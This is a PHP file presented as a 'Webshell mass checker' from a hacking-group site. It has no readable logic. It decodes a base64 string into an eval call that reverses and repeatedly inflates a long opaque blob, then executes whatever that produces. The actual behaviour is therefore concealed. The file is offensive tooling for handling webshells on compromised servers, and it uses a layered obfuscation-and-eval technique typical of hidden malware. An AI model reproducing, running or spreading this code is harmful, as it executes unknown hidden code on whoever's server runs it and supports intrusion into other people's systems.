Webshell mass checker

<?php
/*
    https://zerobyte.id/
    Issued Feb 9th, 2018
    Recoded by Fadly 31337
*/
$f31337 = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGV2YWxpZCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$evalid = "hwy7iY5lfn/H3La5qd+4mHVk8XKNayIC4WiMicVA5Z0VCWCEHHs8scJJ0m1xDiMiAyVnmeA9rQlEJ+hzef132W2NS3VbFtGw/ySnKv+vkHqqJwqK4HRsjUX8TsB+tJYP2PhiJeDil6NzPKRfvXsCNdWdytQ/GaN/7aUb1DwYTs8Ao+e/OZiJkLxZUEExTJvb6YfXrqygH1p5V/9wzvskB7YbXzY2kyP/Xq9oLB6ZQuhrodT3OXciIjF8herMNSHm6HhctUXMB4pJh6qw2KCDDb0Schk2fXSUoLNpY14dhLHUsWRqNNxtKtfp9Od6XP/YNb3DwnGUeDk+aphPCQvNkjpkwAfW3K+KQ/+WzHL17tuloLO70xrNOugz4gSPiPIbI5xZzDsXB5fRRORLqVKw/cD8uqX2NXu3TPDJZlbnTDngtKYxpXa7QakqBVckMErCYpNcPtzcSvoqaiOunEINgGlITInprBbwh4BiwEuztXI2prjO6QNc38AzGYg7CIWmqfJCZWauzWsu94NxyYARt+vMJoUv1rQuwRs6Bi0dmmdll8jZRmc2yBT2GuNlDoSXqXZncCl30yyTNi6e4Re1wDetP64SAV5va1QLaabtNsWNdKWeGTFLY5Z11YhFoEwJovFJgltdftdZkn+Sf/vhu62VQnk+foYYDq+LEDVbZ4x+bbb9skOU94B1gZrfpvVHP8ws8PDcv1rmZYY6uKJKEBfSRsgO2P+oaE1cIXbVasRYUb2MIv8QLkT8pHzX5kX5D8O7mspNcQ4ohsdNEtccIF6e8eX9dxxv8cWHv2MG3gXdKqgTwpSpSU/SQOK2KzV9iqjnNC3hnHvFRXR4UXdvOZ2jtz7M1Gb99mU/H0E3+y05yxmz6/UmYH9mTe2LX/oUMVEKleJKCaeKpJAi88dEsT24cLczzmlhDWVDUnnJ/a+rKwaEhKz2MleNaquKnv2qrtCBZ6EKW610uH+Y4LfBKk1ZSzdeQiUh7T1zgxpTMLw4Qzmpm63Qpq7P8G/6jrlPknHVWe2kKp9H1UrWVqDppawF0mvWjCvaU7Da3P6jM9tOayDfeb9NsUlx9FGYVqqVsOhGhDif6vBbboFgQJpohxDmmqI/4XcW+3dA3/kcM4ZRQGGEcrcQX1SJObGEWgxYMrnCFKqD8AEVs+UD7CufH1Jc49KhsCyWQAaSG04MDH5KsUKRWhO1Z2kG63T0oSG4H/G2tymoJ0ra3qaXoGrTmDVhqQvjVpDekMOBsKbKaGZn0XRO1veGQNMHmuekDpo/vEphEMWP4gzY9T/RPxtESTAkq4uZc2y4EQvqpFmaXjzvM62oyxkxyYM2JxyChGvIPfTEvXmajzcROjp9HH752ODzHesSrerQTSy837fv4qFTUykhiGWimUobd3DcCugaFBnttLV8+ur2EIaQ1Q1bHwPS86PDIJ+btVVlci3+GTQOBwJe7vLBEFw+2SQSBsfsE4UA";
eval(htmlspecialchars_decode(urldecode(base64_decode($f31337))));
exit;
?>